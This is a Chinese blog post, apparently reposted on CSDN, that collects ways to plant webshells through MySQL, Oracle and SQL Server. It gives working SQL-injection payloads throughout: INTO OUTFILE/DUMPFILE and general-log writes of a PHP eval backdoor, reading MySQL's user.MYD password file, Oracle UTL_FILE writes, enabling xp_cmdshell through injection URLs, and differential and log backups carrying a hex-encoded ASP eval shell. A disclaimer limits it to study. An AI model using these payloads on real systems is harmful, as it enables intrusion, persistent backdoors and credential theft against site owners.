c++ 写入文件_常见数据库写入Webshell汇总

最新推荐文章于 2022-03-07 21:37:02 发布
最新推荐文章于 2022-03-07 21:37:02 发布
阅读量246 收藏
点赞数
文章标签： c++ 写入文件 jsp拿不到回显数据 phython在file同时写入两个

声明

郑重声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！

前言

我日常被毒打，下次请师傅们轻点，没玩过就玩一遍吧，目前只写了常见的3个数据库，如果后面又遇到其他的数据库在添加。

2c7a8a9d82139145b63d809228263064.png

P.S.欢迎来GitHub找我玩

博客：www.ascotbe.com

4a712538741a963ad0741f2892e58661.png

MySql数据库

前提条件

  • 数据库当前用户为root权限

  • 知道当前网站的绝对路径

  • PHP的GPC为 off状态

  • 写入的那个路径存在写入权限

注意点：

secure_file_priv参数说明

这个参数用来限制数据导入和导出操作的效果，例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。

  • 如果这个参数为空，这个变量没有效果

  • 如果这个参数设为一个目录名，MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在，MySQL服务不会创建它

  • 如果这个参数为NULL，MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

如果遇到以下情况的话，使用SQL语句中的outfile是无法成功的，但是写入日志的方法是可以成功的

show variables like '%secure%';

5532fd323b1f74a2b4aca1d6b4f5fb24.png

开启secure_file_priv

修改my.ini文件后需要重启MySql

secure_file_priv为NULL禁止导出文件secure_file_priv=""secure_file_priv指定地址限制导出地址只能在此secure_file_priv=“D:/”secure_file_priv为空可以导出到任意文件secure_file_priv=

ac7993a8321285b84069354e1c137643.png

查看是否有写入权限

select group_concat(user,0x3a,file_priv) from mysql.user;出现Y，这就代表你有文件权限，N就是没有

一、基于联合查询

注入点位置如下，后面使用的话会省略这段值

http://127.0.0.1/test/Less-2/?id=1

利用outfile方法

UNION ALL SELECT 1,2," phpinfo(); ?>" into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" --

766b3b820e784c566a8b412b272231f7.png

可以发现写入成功了，值得注意的是我们写入的是在test目录和123.txt中间没有用双斜杠，这样写入的文件会被过滤了，直接写到了WWW目录而不是test目录里面

6e46ca01645bccf40384290b0ee9d68a.png

利用dumpfile方法，这种方法可以写入16进制数据

UNION ALL SELECT 1,2," phpinfo(); ?>" into dumpfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" --

写入普通数据

8da6a697c2eb0cb33188bb3ebd9e3984.png

75c27c7128cbada75038c65c7bd12d4d.png

把PHP内容写成16进制编码数据在写入

ccebbeaf7a999718b1285369db58348d.png

289de1605607b69f98ed99ecda8015db.png

二、基于非联合查询

into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123.txt" fields terminated by " phpinfo(); ?>" %23 --

1ba8e6234a41665fc7911d2b9c469566.png

1211525cece2618d8f75d6909f336802.png

三、基于log日志写shell法

先看看当前mysql下log日志的默认地址，同时也看下log日志是否为开启状态，记下来后面需要改回来的

show variables like '%general%';

372ac1020a113fff6c2322390422d100.png

然后开启日志

set global general_log = on;

设置日志写入位置

set global general_log_file = 'C:/2.txt';

写入日志

select '<?php  eval($_POST['ascotbe']);?>';

3fc242b2a394b756ade9a078fd07d3ae.png

修改为原来的路径

set global general_log_file='c:/xxxxx/xxxx'

关闭日志记录

set global general_log = off;

四、基于创建再导出的方法

连接test数据库

use test;

搜索并删除存在的ascotbe这个表

drop table if exists ascotbe;

创建这个表，在里边加个字段xxx

create table ascotbe(xxx text not null);

在里面写入一句话

insert into ascotbe(xxx) values ('<?php phpinfo(); ?>');

然后把这句话导出来

SELECT xxx FROM ascotbe INTO OUTFILE 'D:/2.txt';

f5f416761af0f7da9a7a83339241dbf3.png

然后删除表

DROP TABLE ascotbe;

五、低权限利用

如果你发现一个注入点，但是这个注入点只是一个普通权限没法写 shell

利用条件：

  • 知道一个数据库用户账密

  • 能进入到 phpmyadmin 下

  • 一些默认文件路径位置没有更改

首先查看日志是否开启，然后看看日志文件路径根据这个路径推算出默认的user.MYD路径。一般默认的位置都是在 Mysql\data\mysql\user.MYD 这个路径下

show variables like '%general%';

04f4a2b262273faf5d7d22a3f86720a8.png

然后把密码的文件导入到表里面，这边插入的表为ascotbe，这边有个点需要注意下导入文件的位置需要用\可能会报错，需要替换成/

LOAD DATA LOCAL INFILE 'C:/phpStudy/PHPTutorial/MySQL/data/mysql/user.MYD' INTO TABLE ascotbe FIELDS TERMINATED BY '';

8083b7bb3a97f3d3c5ddb8c3a8d49b8f.png

可以看到导入成功

4dfd1ecabd46df053274383aa149ec37.png

4a712538741a963ad0741f2892e58661.png

Oracle数据库

首先是搭建环境，这边选着docker搭建，搭建好直接用navicat连接

cb052b0e0ac473ae2dc302e465773756.png

这边测试使用的是DBA权限中的system账户

一、利用文件访问包写shell

首先创建我们得先建立一个ORACLE的目录对象指向XXXX，这边测试指向的路径为/home/oracle

create or replace directory IST0_DIR as '/home/oracle';

e133f133e5a5c4c4ca43dad7c7c28b15.png

我们查看docker的路径，以及路径下的内容

ef3733646ff5a911d38e169eb8d9645a.png

如果后面写入失败了可以执行这条命令对这个目录进行授权下

grant read, write on directory IST0_DIR to system;

然后写入文件

declare   isto_file utl_file.file_type; --定义变量的类型为utl_file.file_typebegin   isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作   utl_file.put_line(isto_file, '这是一个一句话webshell'); --写入字符串   utl_file.fflush(isto_file); --刷缓冲   utl_file.fclose(isto_file); --关闭文件指针end;

执行成功

12dfabc0b3ec114ff73dbbbcb2dea10c.png

可以发现写入了shell

71eebf2078537c2b4b2b74006d6de108.png

如果是真实环境的话我们并不能连接服务器，这样我们怎么知道shell是否写入成功呢？

declare   isto_file utl_file.file_type; --如上   fp_buffer varchar2(4000); --没必要说了吧？begin   isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'R'); -- 指定为读操作   utl_file.get_line (isto_file , fp_buffer ); --读取一行放到  fp_buffer 变量里面   dbms_output.put_line(fp_buffer);--在终端输出结果看看   utl_file.fclose(isto_file); --关闭文件指针end;

执行即可读取我们写入的文件内容了

0943f93047120f48504a768e14f370f4.png

4a712538741a963ad0741f2892e58661.png

SqlServer数据库

首先搭建环境，当前使用的环境是SQL Server 2019，具体的搭建自行百度

拿shell的两大前提

  1. 有相应的权限db_owner

  2. 知道web目录的绝对路径

测试的时候默认使用sa进行连接

一、寻找绝对路径

  • 报错信息

  • 字典猜

  • 旁站的目录

  • 存储过程来搜索

  • 读配置文件

前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。

在mssql中有两个存储过程可以帮我们来找绝对路径：xp_cmdshell和 xp_dirtree

二、利用xp_dirtree方法来寻找

先来看xp_dirtree直接举例子

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录execute master..xp_dirtree 'c:',1 --只列c:\目录execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

列出所有的C盘文件、目录、子目录

145a3ca6a5c8b26c8c79a3cc2e8c5119.png

只列出目录

be8e7b41af32f130a64197660256cf05.png

列出文件和目录

5e9eb1f9d6d79849c9ad4d5b3f4381b7.png

注意

这边使用xp_dirtree举例所列出的文件都是基于当前盘符当前目录的，不包括目录里面的文件，比如我们查看D盘内容

ebd8251ced96f4321c36be53b5f7fee6.png

6be0072008bb76d42ccf5910eef4edf6.png

可以看到只有两个文件，可以论证之前说的

真实环境下的操作

当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

694bc95c8a5541c6fad3f395e00e8f4b.png

然后查询下表发现成功写入

1ef77331e0a97d45fc4564a1c2b19af3.png

三、利用xp_cmdshell方法来寻找

SQL Server 阻止了对组件 xp_cmdshell的过程sys.xp_cmdshell的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。

如果遇到xp_cmdshell不能调用解决方法，这样我们就只能能执行CMD命令了，开启方面需要连接数据库才行。PS:如果都开启这种方法就不用写shell了直接执行CMD下载木马即可

;EXEC sp_configure 'show advanced options',1;//允许修改高级参数RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;  //打开xp_cmdshell扩展RECONFIGURE;--

9cb4e1b939a3dab117190e3c0ec11f45.png

接下来我们先来看cmd中怎么查找文件，该条命令如果用powershell会报错

for /r d:\ %i in (2*.php) do @echo %i

dc8c3983c5e53242db36fdb0d9e4505c.png

需要建立一个表 存在一个char字段就可以了

http://xx.xx.xx.xx/test.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));http://xx.xx.xx.xx/test.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r d:\ %i in (2*.php) do @echo %i'

5764784e5d6a40188e047cf0374592c4.png

cdbabfafab86d3bf84cbb15e4a7fb7c3.png

b6e5f21a8ddb4de4fd4047d66ff25f78.png

成功查询出结果

4a712538741a963ad0741f2892e58661.png

写入Webshell

一、利用xp_cmdshell命令写shell

上面说了xp_cmdshell这个存储过程可以用来执行cmd命令，那么我们可以通过cmd的echo命令来写入shell，当然前提是你知道web目录的绝对路径，如果不存在路径会报错。

http://xx.xx.xx.xx/test.aspx?id=1;exec master..xp_cmdshell 'echo ^"Jscript"%^>^"pass"],

244517d5a1c7ac2cd78aed5948d86c27.png

写入成功

c46f6dee60080f3dfba1680b9157c18f.png

二、差异备份写shell

因为权限的问题，最好不要备份到盘符根目录

当过滤了特殊的字符比如单引号，或者 路径符号 都可以使用定义局部变量来执行。

http://xx.xx.xx.xx/test.aspx?id=1;backup database 库名 to disk = 'D:\bak.bak';--http://xx.xx.xx.xx/test.aspx?id=1;create table [dbo].[test] ([cmd] [image]);http://xx.xx.xx.xx/test.aspx?id=1;insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);http://xx.xx.xx.xx/test.aspx?id=1;backup database 库名 to disk='D:\ascotbe.asp' WITH DIFFERENTIAL,FORMAT;--

这里测试只能进行备份，执行最后一句差异备份会报错，所以可以直接进行备份写shell，虽然文件会很大

c900c0b9ed0c87598d849a2f16a5a26e.png

6a37f8c81cda2becb9fd2b28bbb8506c.png

267d39bfde5aeb7d7e77ac4691ff5980.png

可以看到shell是写进去了，就是文件有点大

ce8d7bd2d0d8fd47b8cc8c467a43ce57.png

三、log备份写shell

LOG备份的要求是他的数据库备份过，而且选择恢复模式得是完整模式，至少在2008上是这样的，但是使用log备份文件会小的多，当然如果你的权限够高可以设置他的恢复模式

//以下步骤省略http://xx.xx.xx.xx/test.aspx?id=1alter database 库名 set RECOVERY FULL;create table cmd (a image) ;backup log 库名 to disk = 'D:\test' with init ;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) ;backup log 库名 to disk = 'D:\test\2.asp';
4a712538741a963ad0741f2892e58661.png

参考文章

https://www.cnblogs.com/springside-example/archive/2007/09/06/2529958.htmlhttps://blog.csdn.net/zyq357/article/details/104698157https://blog.csdn.net/junmail/article/details/4381287https://www.cnblogs.com/xuliangxing/p/6005154.htmlhttps://y4er.com/post/mssql-getshell/

022f75538af9083d05717ba7f322ba57.png

weixin_39857211
关注
JSP WebSehll 后门脚本
悦分享
08-01 1364
目前很多大型厂商都选择使用Java进行Web项目的开发，近年来随着各种JAVA指定环境RCE漏洞的出现，JavaWeb的安全逐渐被人们所重视，与漏洞相关的还有用于后期维持权限的Webshell。与PHP不同的是，JSP的语言特性较为严格，属于强类型语言，并且在JDK9以前并没有所谓的eval函数。一般而言JSP的变形免杀较为困难，但是依旧存在很多的”黑魔法”。不知攻，焉知防。阿里云安骑士Webshell检测系统在迭代升级过程中，除了内部的不断绕过尝试以外，也长期邀请大量白帽子进行持续的绕过测试。...
29-2 webshell 管理下
最新发布
weixin_43263566的博客
03-21 491
然而，他自学掌握了多种计算机语言，包括C++、J2ME、PHP、JSP、ASP.NET等。其特点是使用加密WebShell来防止被发现，通过流量加密使得传统的WAF（Web应用防火墙）、Web IDS（网络入侵检测系统）设备难以检测。其核心功能包括Shell代理功能、Shell管理、文件管理、虚拟终端、数据库管理、插件市场和插件开发。冰蝎的特性使得它在一定程度上能够提高WebShell的隐蔽性和安全性，但同时也需要注意合法使用，并遵守相关法律法规。
VS2013 c++链接数据库，应用存储过程，向数据库中写入数据
予非池物
07-18 2188
// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include "iomanip" using namespace std; #import "c:\Program Files\Common Files\System\ado\msado15.dll" no_namespace rename("EOF","E...
C++读写Mysql数据库
lylelo的博客
09-03 3371
前言： 一直以来操作数据库我用的都是python，第一次使用C++来操作Mysql数据库，中间遇到了许多问题，特别是设置上。把这些经验进行总结，希望可以帮到遇到同样问题的朋友。如果对您有帮助，您的三连是对我最大的鼓励，谢谢。 顺带一提： python操作Mysql数据的经验总结 环境配置： 操作系统：win10 64bit 开发环境：Visual Studio 2019 使用的Mysql版本：8.0 首先是运行环境，因为系统是64位系统，下载的Mysql也是64位，而visual sutid
东软总结03-C++与数据库 写入数据
幼发拉底
07-17 1081
1-首先建立一个数据库，以微软的Access数据库为例： 打开Access，新建-空数据库-选择第一个使用设计器创建表，添加字段等，如下： 保存之后放到工程文件夹下。 ps：主键设置为ID，表明改为Student或其他。 2-创建数据源。打开开始菜单-设置-控制面板-管理工具-数据源（OBDC）。 添加 完成后填上数据源名比如是MySource2，然后单击选择，找到mdb文
odb C++访问mysql数据库，从安装到写入
cxd1314520的博客
11-25 1699
一：ubuntu下odb 安装 get-apt install gcc get-apt install g++ get-apt install odb 生成的odb位于：/usr/odb 生成的库（libodb-2.4.so、libodb-mysql-2.4.so）位于：/usr/lib/x86_64-linux-gnu/ 二：windows下mysql 8.0的安装 1）下载网址https://dev.mysql.com/downloads/mysql/ 用zip形式安装，不要用mysql instal
C++后端开发知识点汇总
weixin_42947653的博客
11-15 2872
1.进程与线程的本质区别、以及各自的使用场景。 线程是进程的一部分，进程是程序的一部分。进程是分配资源的基本单位；线程是系统调度和分派的基本单位> 异同点： 进程是资源分配的基本单位，而线程是调度的基本单位。 进程与进程之间是独立的，一个进程的异常终止不会影响其它进程，而线程与线程之间大部分是共享的，一个线程的异常终止会影响其它线程，会使进程终止。 调度和切换：线程上下文切换比进程上下文切...
无需sendmail：巧用LD_PRELOAD突破disable_functions
Coisini的博客
12-03 989
摘要：千辛万苦拿到的 webshell 居然无法执行系统命令，怀疑服务端 disable_functions 禁用了命令执行函数，通过环境变量 LD_PRELOAD 劫持系统函数，却又发现目标根本没安装 sendmail，无法执行命令的 webshell 是无意义的，看我如何突破！ | 半月前逛“已黑网站列表”时复审一小电商网站，“列表”中并未告知漏洞详情，简单浏览了下功能，只有注册、登录、下单...
Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等
weixin_46280935的博客
09-10 5652
Penetration_Testing_POC 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享，作为笔记吧，欢迎补充。 Penetration_Testing_POC 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone Web APP 提权辅助相关 PC tools-小工具集合 文章/书籍/教程相关 说明 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone 天翼创维awifi路由器存在多处未授权访问漏
c++程序操作数据库读写修改删除
02-09
c++程序连接修改删除数据库程序
C++ 读取和写入文件
热门推荐
西叶胡杨的博客
05-12 1万+
C++ 将运行结果写入到文件 头文件中需要包含#include < fstream > 。 fstream里面包含ofstream（用于输出）和ifstream（用于输入）的类。然后需要声明一个该类的对象，例如outfile。 #include<iostream> #include<cstring> #include<fstream> using namespace std; int main() { char* p = new char[100]; o
说说 shell 脚本
weixin_40074744的博客
01-02 111
文/高哥出去一看招聘网站，不管是干数据库亦或者是干运维甚至是干开发都要求会 shell 脚本。都可以称的上是一种编程语言了。有读者说shell脚本很难，说实话，我刚开始也...
c++简单实现shell
m0_51381095的博客
03-07 4346
c++简单实现shell
C++常用代码库——文件读写
caicaptain
06-10 761
C版本 #include <stdio.h> typedef struct { char a[10]; char b[11]; }stu; int main() { stu test = {0}; FILE *fp; fp = fopen("D:\\path", "w+"); // +代表可写，没有权限为只读, b表示二进制，a表示追加（打开或新建，文件存在则打开），r表示打开（文件要存在），w表示新建文件（文件存在则覆盖） //"r" "打开一
c++ ifstream读取文件_从任意文件读取到拿webshell
weixin_39696665的博客
11-28 347
对于任意文件读取漏洞，每个人的理解都不同，此处仅提出一种较为谨慎的思路。1壹1找到系统存在一个读取点，利用文件 ID 或者文件名读取文件的读取点，确定成功读取的状态1贰1读取一个不存在的文件，确定读取不存在文件时的状态1叁1尝试使用/./、a/../确定可以使用跨目录符,确定是否可以使用跨目录符1肆1确定可以使用跨目录符后尝试跨目录读取/etc/passwd(linux)、boot.in...
asp写入mysql拿shell_MSSQL高级注入之ASPSHELL的获得
weixin_28844235的博客
01-12 283
老兵修改看了N.E.V.E.R的文章，马上在本机测试，成功了。下面是作者的原文：backup a shell最早想到利用数据库系统来写文件大约MySQL下面的事情吧，我记得有篇经典的贴子是讲利用TCP反弹结合输入法漏洞入侵的，第一步，也是很重要的一步就是利用了MySQL导出表到文件获得了一个web上的shell。ACCESS功能不那么强大，有注入漏洞的时候也不能直接获得执行任何命令的权限，就不说了...
数据库备份得shell。
0ffs3t
01-09 841
先上传一张图片格式的小马，然后照下图备份。 当前路径是图片的相对地址 目录是当前目录下的wan.asp目录 由于是iis服务器，不能指定文件名那就指定目录为ASP的，这样也可以顺利解析。 结果马的地址就是：http://www.hacker.com/admin/wan.asp/shop.mdb
拿shell_数据库备份拿webshell
weixin_39648469的博客
01-12 284
测试之前数据库备份拿webshell算是比较老的web后台才有的一个漏洞，之前也做过类似的，这次偶然有机会帮朋友看来一个类似的站，所以在此分享一下。仅供学习，严守底线。测试开始$ http://xxxxxxx.com/Manage/login.asp登陆界面：帐号密码是弱密码。然后进后台简单的看了看，发现是kindeditor的编辑器，13年的应该是4.1.10，所以之前爆出的漏洞基本不...
SQLmap使用指南：数据库提权与Webshell获取
- `--file-write=WFILE` 和 `--file-dest=DFILE`: 分别用于编辑本地文件并在数据库管理系统上写入文件，这可以用来上传Webshell。 - `--priv-esc`: 提升数据库进程用户的权限，向更高级别的访问迈进。 2. MSSQL下的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值